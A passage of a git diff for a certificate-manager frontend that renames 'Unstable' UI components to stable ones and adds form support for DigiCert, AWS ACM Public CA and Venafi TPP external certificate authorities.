@@ -344,10 +344,10 @@ export const CaDetailsSection = ({ caId }: Props) => {
           </DetailGroup>
 
           {showAutoRenewal && autoRenewal.lastRenewalStatus === CaRenewalStatus.PENDING && (
-            <UnstableAlert variant="info" className="mt-2">
+            <Alert variant="info" className="mt-2">
               <LoaderIcon className="animate-spin" />
-              <UnstableAlertTitle>Certificate installation in progress...</UnstableAlertTitle>
-            </UnstableAlert>
+              <AlertTitle>Certificate installation in progress...</AlertTitle>
+            </Alert>
           )}
 
           {showAutoRenewal &&
@@ -355,28 +355,26 @@ export const CaDetailsSection = ({ caId }: Props) => {
             autoRenewal.autoRenewalEnabled &&
             (autoRenewal.lastRenewalStatus === CaRenewalStatus.FAILED &&
             autoRenewal.lastRenewalMessage ? (
-              <UnstableAlert className="mt-2 border-warning/20 bg-warning/5 text-warning">
+              <Alert className="mt-2 border-warning/20 bg-warning/5 text-warning">
                 <AlertTriangleIcon />
-                <UnstableAlertTitle>
-                  Last renewal failed: {autoRenewal.lastRenewalMessage}
-                </UnstableAlertTitle>
-              </UnstableAlert>
+                <AlertTitle>Last renewal failed: {autoRenewal.lastRenewalMessage}</AlertTitle>
+              </Alert>
             ) : (
               (() => {
                 const nextRenewalDate = getNextRenewalDate();
                 if (!nextRenewalDate) return null;
                 return (
-                  <UnstableAlert variant="info" className="mt-2">
+                  <Alert variant="info" className="mt-2">
                     <InfoIcon />
-                    <UnstableAlertTitle>
+                    <AlertTitle>
                       Next auto-renewal: {format(nextRenewalDate, "MMM d, yyyy")}
-                    </UnstableAlertTitle>
-                  </UnstableAlert>
+                    </AlertTitle>
+                  </Alert>
                 );
               })()
             ))}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       <Modal
         isOpen={popUp.editAutoRenewal.isOpen}
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaSigningConfigSection.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaSigningConfigSection.tsx
index 90d7952108a..a7cd6c05a06 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaSigningConfigSection.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaSigningConfigSection.tsx
@@ -18,17 +18,17 @@ import {
 } from "@app/components/v2";
 import {
   Badge,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import {
   ProjectPermissionCertificateAuthorityActions,
@@ -222,33 +222,31 @@ export const CaSigningConfigSection = ({ caId }: Props) => {
 
   return (
     <>
-      <UnstableCard className="mt-5 w-full">
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Signing Configuration</UnstableCardTitle>
-          <UnstableCardDescription>
-            How this CA&apos;s certificate is signed
-          </UnstableCardDescription>
+      <Card className="mt-5 w-full">
+        <CardHeader className="border-b">
+          <CardTitle>Signing Configuration</CardTitle>
+          <CardDescription>How this CA&apos;s certificate is signed</CardDescription>
           {(isVenafi || isAdcs) && ca?.name && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionCertificateAuthorityActions.Edit}
                 a={subject(ProjectPermissionSub.CertificateAuthorities, { name: ca.name })}
               >
                 {(isAllowed) => (
-                  <UnstableIconButton
+                  <IconButton
                     variant="outline"
                     size="xs"
                     isDisabled={!isAllowed}
                     onClick={() => handlePopUpToggle("editSigningConfig", true)}
                   >
                     <PencilIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 )}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Signing Method</DetailLabel>
@@ -301,8 +299,8 @@ export const CaSigningConfigSection = ({ caId }: Props) => {
               </>
             )}
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       {isAdcs && (
         <Modal
diff --git a/frontend/src/pages/cert-manager/CertificateAuthoritiesPage/components/ExternalCaModal.tsx b/frontend/src/pages/cert-manager/CertificateAuthoritiesPage/components/ExternalCaModal.tsx
index 0595322368d..e41826288e0 100644
--- a/frontend/src/pages/cert-manager/CertificateAuthoritiesPage/components/ExternalCaModal.tsx
+++ b/frontend/src/pages/cert-manager/CertificateAuthoritiesPage/components/ExternalCaModal.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useMemo } from "react";
+import { useEffect, useMemo, useRef } from "react";
 import { Controller, useForm } from "react-hook-form";
 import { SingleValue } from "react-select";
 import { zodResolver } from "@hookform/resolvers/zod";
@@ -31,6 +31,12 @@ import {
   TCloudflareZone,
   useCloudflareConnectionListZones
 } from "@app/hooks/api/appConnections/cloudflare";
+import {
+  TDigiCertOrganization,
+  TDigiCertProduct,
+  useDigiCertConnectionListOrganizations,
+  useDigiCertConnectionListProducts
+} from "@app/hooks/api/appConnections/digicert";
 import {
   TDNSMadeEasyZone,
   useDNSMadeEasyConnectionListZones
@@ -125,6 +131,36 @@ const awsPcaConfigurationSchema = z.object({
   region: z.string().min(1, "Region is required")
 });
 
+const digicertConfigurationSchema = z.object({
+  digicertConnection: z.object({
+    id: z.string().min(1, "DigiCert Connection is required"),
+    name: z.string()
+  }),
+  organizationId: z.coerce.number().int().positive("Organization is required"),
+  productNameId: z.string().trim().min(1, "Product is required")
+});
+
+const awsAcmPublicCaConfigurationSchema = z.object({
+  awsConnection: z.object({
+    id: z.string().min(1, "AWS Connection is required"),
+    name: z.string()
+  }),
+  dnsConnection: z.object({
+    id: z.string().min(1, "Route 53 Connection is required"),
+    name: z.string()
+  }),
+  hostedZoneId: z.string().trim().min(1, "Hosted Zone ID is required"),
+  region: z.string().min(1, "Region is required")
+});
+
+const venafiTppConfigurationSchema = z.object({
+  venafiTppConnection: z.object({
+    id: z.string().min(1, "Venafi TPP Connection is required"),
+    name: z.string()
+  }),
+  policyDN: z.string().trim().min(1, "Policy DN is required")
+});
+
 const schema = z.discriminatedUnion("type", [
   baseSchema.extend({
     type: z.literal(CaType.ACME),
@@ -137,6 +173,18 @@ const schema = z.discriminatedUnion("type", [
   baseSchema.extend({
     type: z.literal(CaType.AWS_PCA),
     configuration: awsPcaConfigurationSchema
+  }),
+  baseSchema.extend({
+    type: z.literal(CaType.DIGICERT),
+    configuration: digicertConfigurationSchema
+  }),
+  baseSchema.extend({
+    type: z.literal(CaType.AWS_ACM_PUBLIC_CA),
+    configuration: awsAcmPublicCaConfigurationSchema
+  }),
+  baseSchema.extend({
+    type: z.literal(CaType.VENAFI_TPP),
+    configuration: venafiTppConfigurationSchema
   })
 ]);
 
@@ -150,7 +198,10 @@ type Props = {
 const caTypes = [
   { label: "ACME", value: CaType.ACME },
   { label: "Active Directory Certificate Services (AD CS)", value: CaType.AZURE_AD_CS },
-  { label: "AWS Private CA (PCA)", value: CaType.AWS_PCA }
+  { label: "AWS Private CA (PCA)", value: CaType.AWS_PCA },
+  { label: "AWS ACM Public CA", value: CaType.AWS_ACM_PUBLIC_CA },
+  { label: "DigiCert CertCentral", value: CaType.DIGICERT },
+  { label: "Venafi TPP", value: CaType.VENAFI_TPP }
 ];
 
 export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
@@ -214,6 +265,51 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
             region: ""
           }
         });
+      } else if (initialType === CaType.DIGICERT) {
+        reset({
+          type: CaType.DIGICERT,
+          name: "",
+          status: CaStatus.ACTIVE,
+          configuration: {
+            digicertConnection: {
+              id: "",
+              name: ""
+            },
+            organizationId: 0,
+            productNameId: ""
+          }
+        });
+      } else if (initialType === CaType.AWS_ACM_PUBLIC_CA) {
+        reset({
+          type: CaType.AWS_ACM_PUBLIC_CA,
+          name: "",
+          status: CaStatus.ACTIVE,
+          configuration: {
+            awsConnection: {
+              id: "",
+              name: ""
+            },
+            dnsConnection: {
+              id: "",
+              name: ""
+            },
+            hostedZoneId: "",
+            region: ""
+          }
+        });
+      } else if (initialType === CaType.VENAFI_TPP) {
+        reset({
+          type: CaType.VENAFI_TPP,
+          name: "",
+          status: CaStatus.ACTIVE,
+          configuration: {
+            venafiTppConnection: {
+              id: "",
+              name: ""
+            },
+            policyDN: ""
+          }
+        });
       } else {
         reset({
           type: CaType.ACME,
@@ -268,17 +364,33 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
     AppConnection.AWS,
     currentProject.id,
     {
-      enabled: caType === CaType.AWS_PCA
+      enabled: caType === CaType.AWS_PCA || caType === CaType.AWS_ACM_PUBLIC_CA
     }
   );
 
+  const { data: availableDigiCertConnections, isPending: isDigiCertPending } =
+    useListAvailableAppConnections(AppConnection.DigiCert, currentProject.id, {
+      enabled: caType === CaType.DIGICERT
+    });
+
+  const { data: availableVenafiTppConnections, isPending: isVenafiTppPending } =
+    useListAvailableAppConnections(AppConnection.VenafiTpp, currentProject.id, {
+      enabled: caType === CaType.VENAFI_TPP
+    });
+
   const availableConnections: TAvailableAppConnection[] = useMemo(() => {
     if (caType === CaType.AZURE_AD_CS) {
       return availableAzureConnections || [];
     }
-    if (caType === CaType.AWS_PCA) {
+    if (caType === CaType.AWS_PCA || caType === CaType.AWS_ACM_PUBLIC_CA) {
       return availableAwsConnections || [];
     }
+    if (caType === CaType.DIGICERT) {
+      return availableDigiCertConnections || [];
+    }
+    if (caType === CaType.VENAFI_TPP) {
+      return availableVenafiTppConnections || [];
+    }
     return [
       ...(availableRoute53Connections || []),
       ...(availableCloudflareConnections || []),
@@ -292,7 +404,9 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
     availableDNSMadeEasyConnections,
     availableAzureDNSConnections,
     availableAzureConnections,
-    availableAwsConnections
+    availableAwsConnections,
+    availableDigiCertConnections,
+    availableVenafiTppConnections
   ]);
 
   const isPending =
@@ -301,7 +415,9 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
     isDNSMadeEasyPending ||
     isAzureDNSPending ||
     (isAzurePending && caType === CaType.AZURE_AD_CS) ||
-    (isAwsPending && caType === CaType.AWS_PCA);
+    (isAwsPending && (caType === CaType.AWS_PCA || caType === CaType.AWS_ACM_PUBLIC_CA)) ||
+    (isDigiCertPending && caType === CaType.DIGICERT) ||
+    (isVenafiTppPending && caType === CaType.VENAFI_TPP);
 
   const dnsAppConnection =
     caType === CaType.ACME && configuration && "dnsAppConnection" in configuration
@@ -385,10 +501,89 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
             region: ca.configuration.region
           }
         });
+      } else if (ca.type === CaType.DIGICERT && availableConnections?.length) {
+        const selectedConnection = availableConnections?.find(
+          (connection) => connection.id === ca.configuration.appConnectionId
+        );
+
+        reset({
+          type: ca.type,
+          name: ca.name,
+          status: ca.status,
+          configuration: {
+            digicertConnection: {
+              id: ca.configuration.appConnectionId,
+              name: selectedConnection?.name || ""
+            },
+            organizationId: ca.configuration.organizationId,
+            productNameId: ca.configuration.productNameId
+          }
+        });
+      } else if (ca.type === CaType.AWS_ACM_PUBLIC_CA && availableConnections?.length) {
+        const selectedConnection = availableConnections?.find(
+          (connection) => connection.id === ca.configuration.appConnectionId
+        );
+        const selectedDnsConnection = ca.configuration.dnsAppConnectionId
+          ? availableConnections?.find(
+              (connection) => connection.id === ca.configuration.dnsAppConnectionId
+            )
+          : undefined;
+
+        reset({
+          type: ca.type,
+          name: ca.name,
+          status: ca.status,
+          configuration: {
+            awsConnection: {
+              id: ca.configuration.appConnectionId,
+              name: selectedConnection?.name || ""
+            },
+            dnsConnection: ca.configuration.dnsAppConnectionId
+              ? {
+                  id: ca.configuration.dnsAppConnectionId,
+                  name: selectedDnsConnection?.name || ""
+                }
+              : undefined,
+            hostedZoneId: ca.configuration.hostedZoneId || "",
+            region: ca.configuration.region
+          }
+        });
+      } else if (ca.type === CaType.VENAFI_TPP && availableConnections?.length) {
+        const selectedConnection = availableConnections?.find(
+          (connection) => connection.id === ca.configuration.appConnectionId
+        );
+
+        reset({
+          type: ca.type,
+          name: ca.name,
+          status: ca.status,
+          configuration: {
+            venafiTppConnection: {
+              id: ca.configuration.appConnectionId,
+              name: selectedConnection?.name || ""
+            },
+            policyDN: ca.configuration.policyDN
+          }
+        });
       }
     }
   }, [ca, availableConnections, reset, isCaLoading]);
 
+  const digicertConnectionId =
+    caType === CaType.DIGICERT && configuration && "digicertConnection" in configuration
+      ? (configuration.digicertConnection?.id ?? "")
+      : "";
+
+  const { data: digicertOrganizations = [], isPending: isDigiCertOrgsPending } =
+    useDigiCertConnectionListOrganizations(digicertConnectionId, {
+      enabled: caType === CaType.DIGICERT && !!digicertConnectionId
+    });
+
+  const { data: digicertProducts = [], isPending: isDigiCertProductsPending } =
+    useDigiCertConnectionListProducts(digicertConnectionId, {
+      enabled: caType === CaType.DIGICERT && !!digicertConnectionId
+    });
+
   const onFormSubmit = async ({
     type,
     name,
@@ -419,6 +614,24 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
         certificateAuthorityArn: formConfiguration.certificateAuthorityArn,
         region: formConfiguration.region
       };
+    } else if (type === CaType.DIGICERT && "digicertConnection" in formConfiguration) {
+      configPayload = {
+        appConnectionId: formConfiguration.digicertConnection.id,
+        organizationId: formConfiguration.organizationId,
+        productNameId: formConfiguration.productNameId
+      };
+    } else if (type === CaType.AWS_ACM_PUBLIC_CA && "awsConnection" in formConfiguration) {
+      configPayload = {
+        appConnectionId: formConfiguration.awsConnection.id,
+        dnsAppConnectionId: formConfiguration.dnsConnection.id,
+        hostedZoneId: formConfiguration.hostedZoneId,
+        region: formConfiguration.region
+      };
+    } else if (type === CaType.VENAFI_TPP && "venafiTppConnection" in formConfiguration) {
+      configPayload = {
+        appConnectionId: formConfiguration.venafiTppConnection.id,
+        policyDN: formConfiguration.policyDN
+      };
     } else {
       throw new Error("Invalid certificate authority configuration");
     }
@@ -451,6 +664,8 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
     });
   };
 
+  const modalContainer = useRef<HTMLDivElement>(null);
+
   return (
     <Modal
       isOpen={popUp?.ca?.isOpen}
@@ -459,7 +674,7 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
         handlePopUpToggle("ca", isOpen);
       }}
     >
-      <ModalContent title={`${ca ? "Edit" : "Create"} External CA`}>
+      <ModalContent ref={modalContainer} title={`${ca ? "Edit" : "Create"} External CA`}>
         <form onSubmit={handleSubmit(onFormSubmit)}>
           {ca && (
             <FormControl label="CA ID">
@@ -834,6 +1049,222 @@ export const ExternalCaModal = ({ popUp, handlePopUpToggle }: Props) => {
               />
             </>
           )}
+          {caType === CaType.DIGICERT && (
+            <>
+              <Controller
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    tooltipText="DigiCert App Connection provides the CertCentral API key used to place orders."
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    label="DigiCert Connection"
+                    isRequired
+                  >
+                    <FilterableSelect
+                      value={value}
+                      onChange={(newValue) => {
+                        onChange(newValue);
+                      }}
+                      isLoading={isPending}
+                      options={availableConnections}
+                      placeholder="Select connection..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.id}
+                      components={{ Option: AppConnectionOption }}
+                    />
+                  </FormControl>
+                )}
+                control={control}
+                name="configuration.digicertConnection"
+              />
+              <Controller
+                control={control}
+                name="configuration.organizationId"
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    label="Organization"
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    isRequired
+                    tooltipText="The validated CertCentral organization that will appear on issued certificates."
+                  >
+                    <FilterableSelect
+                      isLoading={isDigiCertOrgsPending && !!digicertConnectionId}
+                      isDisabled={!digicertConnectionId}
+                      value={digicertOrganizations.find((org) => org.id === value) ?? null}
+                      onChange={(option) => {
+                        onChange((option as SingleValue<TDigiCertOrganization>)?.id ?? 0);
+                      }}
+                      options={digicertOrganizations}
+                      placeholder="Select an organization..."
+                      getOptionLabel={(option) => option.displayName || option.name}
+                      getOptionValue={(option) => String(option.id)}
+                      menuPortalTarget={modalContainer.current}
+                    />
+                  </FormControl>
+                )}
+              />
+              <Controller
+                control={control}
+                name="configuration.productNameId"
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    label="Product"
+                    errorText={error?.message}
+                    isError={Boolean(error)}
+                    isRequired
+                    tooltipText="Products available are account-specific entitlements fetched from CertCentral. Each Infisical CA issues under exactly one product."
+                  >
+                    <FilterableSelect
+                      isLoading={isDigiCertProductsPending && !!digicertConnectionId}
+                      isDisabled={!digicertConnectionId}
+                      value={digicertProducts.find((product) => product.nameId === value) ?? null}
+                      onChange={(option) => {
+                        onChange((option as SingleValue<TDigiCertProduct>)?.nameId ?? "");
+                      }}
+                      options={digicertProducts}
+                      placeholder="Select a product..."
+                      getOptionLabel={(option) => `${option.name} (${option.nameId})`}
+                      getOptionValue={(option) => option.nameId}
+                      menuPortalTarget={modalContainer.current}
+                    />
+                  </FormControl>
+                )}
+              />
+            </>
+          )}
+          {caType === CaType.AWS_ACM_PUBLIC_CA && (
+            <>
+              <Controller
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    tooltipText="AWS App Connection used to issue, export, renew, and revoke certificates via AWS Certificate Manager (ACM)."
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    label="AWS Connection"
+                    isRequired
+                  >
+                    <FilterableSelect
+                      value={value}
+                      onChange={(newValue) => {
+                        onChange(newValue);
+                      }}
+                      isLoading={isPending}
+                      options={availableConnections}
+                      placeholder="Select connection..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.id}
+                      components={{ Option: AppConnectionOption }}
+                    />
+                  </FormControl>
+                )}
+                control={control}
+                name="configuration.awsConnection"
+              />
+              <Controller
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    tooltipText="AWS App Connection used to write the ACM CNAME validation records into Route 53."
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    label="Route 53 Connection"
+                    isRequired
+                  >
+                    <FilterableSelect
+                      value={value}
+                      onChange={(newValue) => {
+                        onChange(newValue);
+                      }}
+                      isLoading={isPending}
+                      options={availableConnections}
+                      placeholder="Select connection..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.id}
+                      components={{ Option: AppConnectionOption }}
+                    />
+                  </FormControl>
+                )}
+                control={control}
+                name="configuration.dnsConnection"
+              />
+              <Controller
+                control={control}
+                defaultValue=""
+                name="configuration.hostedZoneId"
+                render={({ field, fieldState: { error } }) => (
+                  <FormControl
+                    label="Route 53 Hosted Zone ID"
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    isRequired
+                    tooltipText="The Route 53 hosted zone that owns the domain(s) you'll issue certificates for."
+                  >
+                    <Input {...field} placeholder="Z040441124N1GOOMCQYX1" />
+                  </FormControl>
+                )}
+              />
+              <Controller
+                control={control}
+                defaultValue=""
+                name="configuration.region"
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    label="Region"
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    isRequired
+                  >
+                    <AwsRegionSelect value={value} onChange={(v) => onChange(v || "")} />
+                  </FormControl>
+                )}
+              />
+            </>
+          )}
+          {caType === CaType.VENAFI_TPP && (
+            <>
+              <Controller
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl
+                    tooltipText="Venafi TPP App Connection contains the credentials to connect to your Venafi Trust Protection Platform instance."
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    label="Venafi TPP Connection"
+                  >
+                    <FilterableSelect
+                      value={value}
+                      onChange={(newValue) => {
+                        onChange(newValue);
+                      }}
+                      isLoading={isPending}
+                      options={availableConnections}
+                      placeholder="Select connection..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.id}
+                      components={{ Option: AppConnectionOption }}
+                    />
+                  </FormControl>
+                )}
+                control={control}
+                name="configuration.venafiTppConnection"
+              />
+              <Controller
+                control={control}
+                defaultValue=""
+                name="configuration.policyDN"
+                render={({ field, fieldState: { error } }) => (
+                  <FormControl
+                    label="Policy DN"
+                    isError={Boolean(error)}
+                    errorText={error?.message}
+                    isRequired
+                    tooltipText="The policy folder path in Venafi TPP where certificates will be managed (e.g., \VED\Policy\Certificates)."
+                  >
+                    <Input {...field} placeholder="\VED\Policy\Certificates" />
+                  </FormControl>
+                )}
+              />
+            </>
+          )}
           <div className="flex items-center">
             <Button
               className="mr-4"
diff --git a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/CertificateDetailsByIDPage.tsx b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/CertificateDetailsByIDPage.tsx
index 1212fdffb23..e6b12e58ef7 100644
--- a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/CertificateDetailsByIDPage.tsx
+++ b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/CertificateDetailsByIDPage.tsx
@@ -14,11 +14,11 @@ import {
 } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstablePageLoader
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  PageLoader
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -86,7 +86,7 @@ const Page = () => {
   ] as const);
 
   if (isLoading) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   const onDeleteCertificateSubmit = async () => {
@@ -221,14 +221,14 @@ const Page = () => {
                   description="View certificate details"
                   title={displayName}
                 >
-                  <UnstableDropdownMenu>
-                    <UnstableDropdownMenuTrigger asChild>
+                  <DropdownMenu>
+                    <DropdownMenuTrigger asChild>
                       <Button variant="outline">
                         Options
                         <EllipsisIcon />
                       </Button>
-                    </UnstableDropdownMenuTrigger>
-                    <UnstableDropdownMenuContent align="end">
+                    </DropdownMenuTrigger>
+                    <DropdownMenuContent align="end">
                       {/* Export Certificate - always available */}
                       <ProjectPermissionCan
                         I={ProjectPermissionCertificateActions.Read}
@@ -241,7 +241,7 @@ const Page = () => {
                         })}
                       >
                         {(canRead) => (
-                          <UnstableDropdownMenuItem
+                          <DropdownMenuItem
                             isDisabled={!canRead}
                             onClick={() =>
                               handlePopUpOpen("certificateExport", {
@@ -251,7 +251,7 @@ const Page = () => {
                             }
                           >
                             Export Certificate
-                          </UnstableDropdownMenuItem>
+                          </DropdownMenuItem>
                         )}
                       </ProjectPermissionCan>
                       {/* Enable/Manage auto renewal - conditional */}
@@ -273,7 +273,7 @@ const Page = () => {
                             })}
                           >
                             {(canEdit) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!canEdit}
                                 onClick={() => {
                                   const notAfterDate = new Date(certificate.notAfter);
@@ -303,7 +303,7 @@ const Page = () => {
                                 {isAutoRenewalEnabled
                                   ? "Manage Auto-Renewal"
                                   : "Enable Auto-Renewal"}
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                         )}
@@ -326,12 +326,12 @@ const Page = () => {
                             })}
                           >
                             {(canEdit) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!canEdit}
                                 onClick={handleDisableAutoRenewal}
                               >
                                 Disable Auto-Renewal
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                         )}
@@ -352,7 +352,7 @@ const Page = () => {
                             })}
                           >
                             {(canEdit) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!canEdit}
                                 onClick={() =>
                                   handlePopUpOpen("renewCertificate", {
@@ -362,7 +362,7 @@ const Page = () => {
                                 }
                               >
                                 Renew Now
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                         )}
@@ -375,7 +375,7 @@ const Page = () => {
                             a={ProjectPermissionSub.PkiSyncs}
                           >
                             {(canEditPkiSync) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!canEditPkiSync}
                                 onClick={() =>
                                   handlePopUpOpen("managePkiSyncs", {
@@ -385,7 +385,7 @@ const Page = () => {
                                 }
                               >
                                 Manage PKI Syncs
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                         )}
@@ -404,7 +404,7 @@ const Page = () => {
                             })}
                           >
                             {(canRevoke) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!canRevoke}
                                 onClick={() =>
                                   handlePopUpOpen("revokeCertificate", {
@@ -413,7 +413,7 @@ const Page = () => {
                                 }
                               >
                                 Revoke Certificate
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                         )}
@@ -429,17 +429,17 @@ const Page = () => {
                         })}
                       >
                         {(canDelete) => (
-                          <UnstableDropdownMenuItem
+                          <DropdownMenuItem
                             variant="danger"
                             isDisabled={!canDelete}
                             onClick={() => handlePopUpOpen("deleteCertificate")}
                           >
                             Delete Certificate
-                          </UnstableDropdownMenuItem>
+                          </DropdownMenuItem>
                         )}
                       </ProjectPermissionCan>
-                    </UnstableDropdownMenuContent>
-                  </UnstableDropdownMenu>
+                    </DropdownMenuContent>
+                  </DropdownMenu>
                 </PageHeader>
                 <div className="flex flex-col gap-5 lg:flex-row">
                   <CertificateOverviewSection certificateId={certificate.id} />
diff --git a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateDetailsSection.tsx b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateDetailsSection.tsx
index 7e0e08c15ef..3d2fde07d11 100644
--- a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateDetailsSection.tsx
@@ -1,15 +1,15 @@
 import { CopyButton } from "@app/components/v2/CopyButton";
 import {
   Badge,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
-  DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  DetailValue
 } from "@app/components/v3";
 import { useGetCertificateById } from "@app/hooks/api";
 import {
@@ -44,11 +44,11 @@ export const CertificateDetailsSection = ({ certificateId }: Props) => {
     return (
       <div className="flex flex-col gap-5">
         {["subject", "extensions", "crypto"].map((id) => (
-          <UnstableCard key={id}>
-            <UnstableCardContent className="flex items-center justify-center py-8">
+          <Card key={id}>
+            <CardContent className="flex items-center justify-center py-8">
               <p className="text-sm text-mineshaft-400">Loading...</p>
-            </UnstableCardContent>
-          </UnstableCard>
+            </CardContent>
+          </Card>
         ))}
       </div>
     );
@@ -75,12 +75,12 @@ export const CertificateDetailsSection = ({ certificateId }: Props) => {
   return (
     <>
       {/* Subject Attributes Card */}
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Subject Attributes</UnstableCardTitle>
-          <UnstableCardDescription>Distinguished name attributes</UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Subject Attributes</CardTitle>
+          <CardDescription>Distinguished name attributes</CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             {certificate.subject && (
               <div className="grid grid-cols-2 gap-4">
@@ -139,16 +139,16 @@ export const CertificateDetailsSection = ({ certificateId }: Props) => {
               </DetailValue>
             </Detail>
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       {/* Extensions Card */}
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Extensions</UnstableCardTitle>
-          <UnstableCardDescription>Certificate extensions and key usage</UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Extensions</CardTitle>
+          <CardDescription>Certificate extensions and key usage</CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <div className="grid grid-cols-2 gap-4">
               <Detail>
@@ -205,16 +205,16 @@ export const CertificateDetailsSection = ({ certificateId }: Props) => {
               </DetailValue>
             </Detail>
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       {/* Cryptographic Info Card */}
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Cryptographic Info</UnstableCardTitle>
-          <UnstableCardDescription>Algorithms and fingerprints</UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Cryptographic Info</CardTitle>
+          <CardDescription>Algorithms and fingerprints</CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <div className="grid grid-cols-2 gap-4">
               <Detail>
@@ -267,8 +267,8 @@ export const CertificateDetailsSection = ({ certificateId }: Props) => {
               </>
             )}
